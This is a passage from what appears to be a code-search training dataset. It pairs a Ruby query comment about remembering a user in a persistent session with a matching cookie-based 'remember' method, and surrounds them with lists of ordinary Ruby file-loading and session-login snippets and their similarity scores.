"def lookup(namespaces)\n paths = namespaces_to_paths(namespaces)\n\n paths.each do |raw_path|\n lookup_paths.each do |base|\n path = \"#{base}/#{raw_path}_#{command_type}\"\n\n begin\n require path\n return\n rescue LoadError => e\n raise unless /#{Regexp.escape(path)}$/.match?(e.message)\n rescue Exception => e\n warn \"[WARNING] Could not load #{command_type} #{path.inspect}. Error: #{e.message}.\\n#{e.backtrace.join(\"\\n\")}\"\n end\n end\n end\n end",
"def eager_load_paths=(_arg0); end",
"def load #:nodoc:\n @found ||= {}\n @loaded ||= {}\n @files ||= Gem.find_files('cartage/*.rb')\n\n @files.reverse.each do |path|\n name = File.basename(path, '.rb').to_sym\n @found[name] = path\n end\n\n :repeat while @found.map { |name, plugin|\n load_plugin(name, plugin)\n }.any?\n end",
"def load_path(match, options={})\n options = valid_load_options(options)\n\n specs = specifications(options)\n\n matches = []\n specs.each do |spec|\n list = []\n spec.require_paths.each do |path|\n glob = File.join(spec.full_gem_path, path, match)\n list = Dir[glob] #.map{ |f| f.untaint }\n list = list.map{ |d| d.chomp('/') }\n # return relative paths unless absolute flag\n if options[:relative] #not options[:absolute]\n # the extra '' in File.join adds a '/' to the end of the path\n list = list.map{ |f| f.sub(File.join(spec.full_gem_path, path, ''), '') }\n end\n matches.concat(list)\n end\n # activate the library if activate flag\n spec.activate if options[:activate] && !list.empty?\n end\n matches\n end",
"def load!\n if(path)\n if(File.directory?(path))\n conf = Dir.glob(File.join(path, '*')).sort.inject(Smash.new) do |memo, file_path|\n memo.deep_merge(load_file(file_path))\n end\n elsif(File.file?(path))\n conf = load_file(path)\n else\n raise Errno::ENOENT.new path\n end\n conf\n end\n end",
"def fallback_load_path(path)\n retried = false\n begin\n yield\n rescue LoadError\n unless retried\n $: << path\n retried = true\n retry\n end\n raise\n end\nend",
"def fallback_load_path(path)\n retried = false\n begin\n yield\n rescue LoadError\n unless retried\n $: << path\n retried = true\n retry\n end\n raise\n end\nend",
"def fallback_load_path(path)\n retried = false\n begin\n yield\n rescue LoadError\n unless retried\n $: << path\n retried = true\n retry\n end\n raise\n end\nend",
"def search_in(files, host, options = T.unsafe(nil)); end",
"def find_config(file); end",
"def add_acts_from(path)\n\t\t\t\traise \"acts path #{path} didn't exist\" unless path.exist?\n\t\t\t\tui.log \"loading acts from #{path}\"\n\n\t\t\t\t# load each file... 'higher' files first\n\t\t\t\tdepth_sorted_paths = Pathname.glob(path+'**/*.rb').sort_by {|file| file.to_s.split('/').size }\n\t\t\t\t\n\t\t\t\tdepth_sorted_paths.each do |file|\n\t\t\t\t\tfrom_file(file)\n\t\t\t\tend\n\t\t\tend",
"def load_index_in(source, words, remaining_words, priority)\n return unless @index_file_name\n index_source = source.relative_child(@index_file_name)\n load_relevant_path(index_source, words, remaining_words, priority) if index_source\n end",
"def load(*globs)\n skips = globs.grep(/^-/)\n (globs - skips).each do |glob|\n glob += '.rb' if glob =~ /\\*$/\n Dir.glob(glob).sort.each do |path|\n next unless File.file? path\n next if skips.find {|pat| path =~ /#{pat[1..-1]}$/}\n instance_eval(File.read(path), path)\n end\n end\n end",
"def load_files(path)\n Dir[path].each {|file| require file}\nend",
"def sapi_files_found(sapi, priority = '*')\n ::Dir.glob(sapi_file_path(sapi, priority)) + ::Dir.glob(sapi_file_path(sapi))\n end",
"def load_for_prefix(prefix)\n @mutex.synchronize do\n @loading_started = true\n cur_worklist = @worklist\n @worklist = []\n cur_worklist.each do |source, words, priority|\n next if priority < @stop_priority\n remaining_words = calc_remaining_words(prefix, words)\n if source.source_proc\n load_proc(source, words, remaining_words, priority)\n elsif source.source_path\n load_validated_path(source, words, remaining_words, priority)\n end\n end\n end\n self\n end",
"def load_all_files\n return unless File.exist?(cookbook_path)\n\n # If cookbook_path is a symlink, Find on Windows Ruby 2.3 will not traverse it.\n # Dir.entries will do so on all platforms, so we iterate the top level using\n # Dir.entries. Since we have different behavior at the top anyway (hidden\n # directories at the top level are not included for backcompat), this\n # actually keeps things a bit cleaner.\n Dir.entries(cookbook_path).each do |top_filename|\n # Skip top-level directories starting with \".\"\n top_path = File.join(cookbook_path, top_filename)\n next if File.directory?(top_path) && top_filename.start_with?(\".\")\n\n # Use Find.find because it:\n # (a) returns any children, recursively\n # (b) includes top_path as well\n # (c) skips symlinks, which is backcompat (no judgement on whether it was *right*)\n Find.find(top_path) do |path|\n # Only add files, not directories\n next unless File.file?(path)\n # Don't add .uploaded-cookbook-version.json\n next if File.basename(path) == UPLOADED_COOKBOOK_VERSION_FILE\n\n relative_path = Chef::Util::PathHelper.relative_path_from(cookbook_path, path)\n path = Pathname.new(path).cleanpath.to_s\n cookbook_settings[:all_files][relative_path] = path\n end\n end\n end",
"def scan_resources!\n @resources = @lookups[:_default] = {}\n @resource_arguments = {}\n \n @default_order = []\n Dir[@resource_class.glob].each do |path|\n @default_order << basename = File.basename(path)\n \n @resource_arguments[basename] = resource_arguments = @resource_class.scan_file(path)\n\n instantiate_resource!(basename,resource_arguments)\n end\n end",
"def find file\n unless defined? @find_dirs_glob\n base_dirs = ENV['WMII_CONFPATH'].to_s.split(/:+/).unshift(DIR)\n ruby_dirs = base_dirs.map {|dir| File.join(dir, 'ruby') }\n @find_dirs_glob = '{' + base_dirs.zip(ruby_dirs).join(',') + '}'\n end\n\n Dir[\"#{@find_dirs_glob}/#{file}\"].first\n end",
"def reload(klass_name=nil)\n\t\t\tif klass_name\n\t\t\t\tunload(klass_name)\n\t\t\t\tload(klass_name)\n\t\t\t\tklass_name\n\t\t\telse\n\t\t\t\tloaded = []\n\t\t\t\tunloaded = []\n\t\t\t\tDir.glob(\"#{@opts[:search_path]}/*.rb\") do |f|\n\t\t\t\t\tklass_name = file2klass(File.basename(f, \".rb\").sub(/^\\d+/, \"\"))\n\t\t\t\t\tif @plugins.include?(klass_name)\n\t\t\t\t\t\tif File.mtime(f) > @plugins[klass_name][:loaded]\n\t\t\t\t\t\t\tloaded << reload(klass_name)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tloaded << reload(klass_name)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t[loaded, unloaded]\n\t\t\tend\n\t\tend",
"def load(path)\n found_path = resolve_path(path)\n\n if found_path.nil?\n # #load has a final fallback of always trying relative to current work directory of process\n possible_path = File.absolute_path(path)\n found_path = possible_path if (@load_paths_subset || File).exist?(possible_path)\n end\n\n throw :use_fallback, :not_found unless found_path\n\n cover_and_execute(found_path)\n\n true\n end",
"def add_to_load_path\n Gem.source_index.load_gems_in(*Gem::SourceIndex.installed_spec_directories | [ruby_spec_path, arch_spec_path])\n end",
"def all_apf_finder( path_and_file = self.file_name_and_contents.path_and_file, all_apf_arr = [] )\n apf_files = find_apf( path_and_file )\n if apf_files.count > 0\n all_apf_arr << apf_files\n apf_files.each do |apf_file|\n if File.exists? apf_file\n path_and_file = apf_file\n all_apf_finder( path_and_file, all_apf_arr )\n else\n if self.hints_hash['file_does_not_exist']\n self.hints_hash['file_does_not_exist'] << apf_file\n else\n self.hints_hash = self.hints_hash.merge( 'file_does_not_exist' => [ apf_file ] )\n end\n end\n end\n end\n all_apf_arr\n end",
"def all_matching_files\n @all_matching_files ||= find_files\n end",
"def all_matching_files\n @all_matching_files ||= find_files\n end",
"def search_path\n result = []\n\n result += $LOAD_PATH.map { |path| File.expand_path('facter', path) }\n\n if @environment_vars.include?(\"FACTERLIB\")\n result += @environment_vars[\"FACTERLIB\"].split(File::PATH_SEPARATOR)\n end\n\n # silently ignore bad search paths from $LOAD_PATH and FACTERLIB\n result = result.select { |path| valid_search_path?(path) }\n\n # This allows others to register additional paths we should search.\n # We are assuming that these are already absolute paths.\n result += Facter.search_path.select do |path|\n valid = valid_search_path?(path)\n Facter.warn \"Excluding #{path} from search path. Fact file paths must be an absolute directory\" unless valid\n valid\n end\n\n # remove any dups\n result.uniq\n end",
"def load_imports\n while fn = @pending_imports.shift\n next if @imported.member?(fn)\n if fn_task = lookup(fn)\n fn_task.invoke\n end\n load!(fn)\n @imported << fn\n end\n end",
"def priority_to_base( files )\n\n bases, nfiles = files.partition { |f| f.last =~ /^(base|version)\\.rb$/ }\n\n bases.each do |base|\n key = base[0..-2]\n key[-1] += \".rb\"\n nfiles.each_with_index do |file, i|\n if file == key\n nfiles.insert( i, base )\n base = nil\n break\n end\n end\n return files if base\n end\n\n nfiles\n end",
"def load_tests (prefix)\n\n dp = File.dirname(__FILE__)\n\n Dir.new(dp).entries.select { |e|\n e.match(/^#{prefix}\\_.*\\.rb$/)\n }.sort.each { |e|\n load(\"#{dp}/#{e}\")\n }\nend",
"def loadPlugins(onlythese=nil)\n Dir.foreach($COMMON_PLUGINS_WORKDIR) { |entry| \n next if(onlythese && !onlythese.index(entry))\n d = $COMMON_PLUGINS_WORKDIR + \"/\" + entry\n if FileTest.directory?(d)\n if(FileTest.exists?( d + \"/plugin.rb\"))\n puts \"Loading common plugin %s...\" % entry\n load(d + \"/plugin.rb\")\n end\n end\n }\n Dir.foreach($PLUGINS_WORKDIR) { |entry| \n next if(onlythese && !onlythese.index(entry))\n d = $PLUGINS_WORKDIR + \"/\" + entry\n if FileTest.directory?(d)\n if(FileTest.exists?( d + \"/plugin.rb\"))\n puts \"Loading plugin %s...\" % entry\n load(d + \"/plugin.rb\")\n end\n end\n }\nend",
"def loadFiles( reload = false )\n\t\t\t\tfiles().each do |file|\n\t\t\t\t\tfile.load( reload )\n\t\t\t\tend\n\t\t\tend",
"def find_files( path )\n file_paths.each_with_object([]) do |search_path,obj|\n found = File.join( search_path, path )\n obj << found if File.exist? found\n end.reverse.uniq\n end",
"def find_location(filename)\n Find.find(path) do |element| \n if element.include? filename\n candidate = Pathname.new(element)\n yield candidate.dirname.to_s\n end \n end\n end",
"def find_file(file_name, path_array)\n result = nil\n lookup = []\n\n unless path_array.empty?\n search_paths = path_array\n\n if path_array.first.kind_of? String\n search_paths = [path_array]\n end\n\n search_paths.each do |elem|\n full_path = (elem.kind_of?(String)) ? elem : File.join(elem)\n\n files = Dir.glob(File.join(full_path, file_name))\n\n unless files.empty?\n result = files.sort.last\n break\n else\n lookup << full_path\n end\n end\n end\n\n if result.nil?\n fail \"Could not find file #{file_name} at #{lookup.join(', ')}\"\n end\n\n result\nend",
"def find( str )\n super lambda { raise Errno::ENOENT, str } do |dir|\n path = extensions.find do |ext|\n file = dir.join str + ext\n break file if file.exist?\n end\n break path if path\n end\n end",
"def find_root_from(start)\n check = File.expand_path(start)\n ret = nil\n while ret.nil?\n # See if any of these files exist\n self.class.config_filenames.each do |config_name|\n config_file = File.join(check, config_name)\n ret ||= [check, config_file] if File.exists? config_file\n end\n\n # Traverse back (die if we reach the root)\n old_check = check\n check = File.expand_path(File.join(check, '..'))\n raise NoRootError if check == old_check\n end\n ret\n end",
"def load_plugins\n @loaded ||= {}\n found = {}\n\n Gem.find_files(File.join(plugin_path, '*.rb')).sort!.reverse_each do |path|\n name = File.basename(path, '.rb').to_sym\n found[name] = path unless found.key? name\n end\n\n :keep_on_truckin while found.map { |name, path|\n next unless plugin_names.empty? or plugin_names.include? name\n next if disregard_plugins.include? name\n next if @loaded[name]\n begin\n @loaded[name] = load path\n rescue ScriptError, StandardError => err\n warn \"Error loading #{path.inspect}: #{err.message}. skipping...\"\n end\n }.any?\n end",
"def append_path(*paths)\n @load_paths.push(*(paths.flatten))\n end",
"def load_child_in(source, child, words, remaining_words, priority)\n return if child.start_with?(\".\") || child == @index_file_name ||\n child == @preload_file_name || child == @preload_dir_name ||\n child == @data_dir_name || child == @lib_dir_name\n child_source = source.relative_child(child)\n return unless child_source\n child_word = ::File.basename(child, \".rb\")\n next_words = words + [child_word]\n next_remaining = Loader.next_remaining_words(remaining_words, child_word)\n load_validated_path(child_source, next_words, next_remaining, priority)\n end",
"def find_in(dir); end",
"def searchFor\n %w{*.lua */*.lua}\n end",
"def load_local\n files = lookup(CONFIG_FILE)\n file = files.find{ |f| File.file?(f) }\n new(*file)\n\n #if file\n # paths = [file]\n #else\n # dir = lookup(CONFIG_DIR).find{ |f| File.directory?(f) }\n # paths = dir ? Dir.glob(File.join(dir, '**/*')) : []\n #end\n #files = paths.select{ |path| File.file?(path) }\n end",
"def load_paths\n @_load_paths_was = %w(lib models shared).map { |path| Padrino.root(path) }\n @_load_paths ||= @_load_paths_was\n end",
"def find\r\n scanner = DirectoryScanner.new\r\n scanner.setBasedir(@context.root)\r\n scanner.setCaseSensitive(false)\r\n scanner.setIncludes(@includes.to_java :String) unless @includes.empty?\r\n scanner.setExcludes(@excludes.to_java :String) unless @excludes.empty?\r\n scanner.scan\r\n scanner.included_files.collect{|f| @context.filepath_from_root(f) }\r\n end",
"def find_first_match(options)\n return unless options[:in_file]\n\n open(File.join(base_dir, options[:in_file])) do |file|\n regexp = options[:matching] || Regexp.new(\"^#{options[:starting_with]}\")\n regexp.match(file.read)\n end\n end",
"def all_files\n @all_files ||= load_files\n end",
"def load_paths\n unless @load_paths\n @load_paths = []\n \n if File.directory?(app_path)\n @load_paths << app_path\n \n # Sort for consistency\n self.class.mixable_app_types.keys.map(&:to_s).sort.each do |type|\n path = \"#{app_path}/#{type}\"\n @load_paths << path if File.directory?(path)\n end\n end\n end\n \n @load_paths\n end",
"def lookup_specific(words)\n words = @delimiter_handler.split_path(words.first) if words.size == 1\n load_for_prefix(words)\n tool = @mutex.synchronize { get_tool_data(words, false)&.cur_definition }\n finish_definitions_in_tree(words) if tool\n tool\n end",
"def local_import?(ln, words)\r\n tmp = nil\r\n\r\n settings.file_order.each do |f|\r\n words[1..-1].each do |w|\r\n w.delete!(\"'\\\"\")\r\n # Remove . from relative path\r\n while w[0] == \".\" do w = w[1..-1] end\r\n\r\n tmp = ln if f.include?(w.downcase)\r\n end\r\n end\r\n\r\n removed << tmp unless tmp.nil?\r\n !tmp.nil?\r\n end"
] |
[
"0.6476289",
"0.6388653",
"0.6199042",
"0.6012572",
"0.60068613",
"0.5988974",
"0.59565234",
"0.59546757",
"0.59540284",
"0.59528446",
"0.58985597",
"0.5824822",
"0.5811136",
"0.57780075",
"0.57731533",
"0.5765977",
"0.5762344",
"0.57438564",
"0.5691378",
"0.56721854",
"0.56676894",
"0.5656588",
"0.5625303",
"0.56134915",
"0.55911386",
"0.55901074",
"0.55619967",
"0.55560976",
"0.55495304",
"0.5546534",
"0.55176616",
"0.5505519",
"0.54995435",
"0.54808736",
"0.5465035",
"0.5458372",
"0.5457869",
"0.54487884",
"0.54487884",
"0.5440462",
"0.5430388",
"0.54181075",
"0.5412746",
"0.5394652",
"0.53945565",
"0.53943205",
"0.53896886",
"0.5361175",
"0.53606564",
"0.5360323",
"0.53557485",
"0.53464705",
"0.53438604",
"0.5330776",
"0.5330041",
"0.5310606",
"0.5304371",
"0.5293541",
"0.5293541",
"0.5293541",
"0.5286043",
"0.52719593",
"0.5269018",
"0.52687126",
"0.52652586",
"0.52599543",
"0.5248369",
"0.5247055",
"0.5245454",
"0.52413416",
"0.5235489",
"0.52351683",
"0.52324355",
"0.52177167",
"0.5214569",
"0.5205444",
"0.5205444",
"0.520274",
"0.5195019",
"0.51838887",
"0.5181473",
"0.5180033",
"0.5176695",
"0.5174931",
"0.5170987",
"0.516771",
"0.5164354",
"0.5161317",
"0.51516056",
"0.51514035",
"0.5148227",
"0.5137382",
"0.51324904",
"0.51240844",
"0.5122268",
"0.5119866",
"0.5111581",
"0.51050425",
"0.50754654",
"0.50681955",
"0.50679916"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_event
@event = Event.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
def log_in Remembers a user in a persistent session.
|
def remember(user, type)
user.remember_token = user.new_token
user.update_attribute(:remember_digest, user.digest(user.remember_token))
cookies.permanent.signed[:user_id] = user.id
cookies.permanent[:remember_token] = user.remember_token
cookies.permanent[:user_type] = type
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] = user.id\n end",
"def log_in(user_id)\n session[:user_id] = user_id\n end",
"def sign_in(user)\n # Issues new random piece of text (aka\n # remember_token) to user\n remember_token = User.new_remember_token\n # Giving user plain text token\n cookies.permanent[:remember_token] = remember_token\n # Hashing the version of the remember_token which the host maintains.\n user.update_attribute(:remember_token, User.hash(remember_token))\n #sets the one who signed in (user) to current user\n self.current_user=user\n end",
"def log_in(user)\n reset_session\n set_user_id_in_session(user.id)\n # Guard against session replay attacks\n session[:session_token] = user.session_token\n end",
"def sign_in(user)\n sign_out\n\n user.touch(:last_login_at)\n user_session = user.sessions.new(ip_address: request.remote_ip, user_agent: request.user_agent)\n if user_session.save\n user.password_resets.delete_all\n @current_session = user_session\n end\n end",
"def sign_in user\n \t# takes the user object and sets session data using said object\n \tsession[:user_id] = user.id\n \tself.current_user = user\n end",
"def log_in(user)\n current_user = user\n session[:session_token] = user.reset_session_token!\n end",
"def log_in_as(user)\n session[:regular_user_id] = user.id\n end",
"def sign_in(user)\n remember_token = User.new_remember_token\n cookies.permanent[:remember_token] = remember_token\n user.update_attribute(:remember_token, User.hash(remember_token))\n self.current_user = user\n end",
"def sign_in(user)\n remember_token = User.new_remember_token\n cookies.permanent[:remember_token] = remember_token\n user.update_attribute(:remember_token, User.hash(remember_token))\n self.current_user = user\n end",
"def log_in\n @user = User.new\n end",
"def log_in_as(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user)\n session[:user_id] = user.id\n\n end",
"def log_in_as(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n remember_token = User.new_token\n cookies.permanent[:remember_token] = remember_token\n user.update_attribute(:remember_digest, User.digest(remember_token))\n cookies.permanent.signed[:user_id] = user.id\n self.current_user = user\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def log_in_user!(user)\n session[:session_token] = user.reset_session_token!\n end",
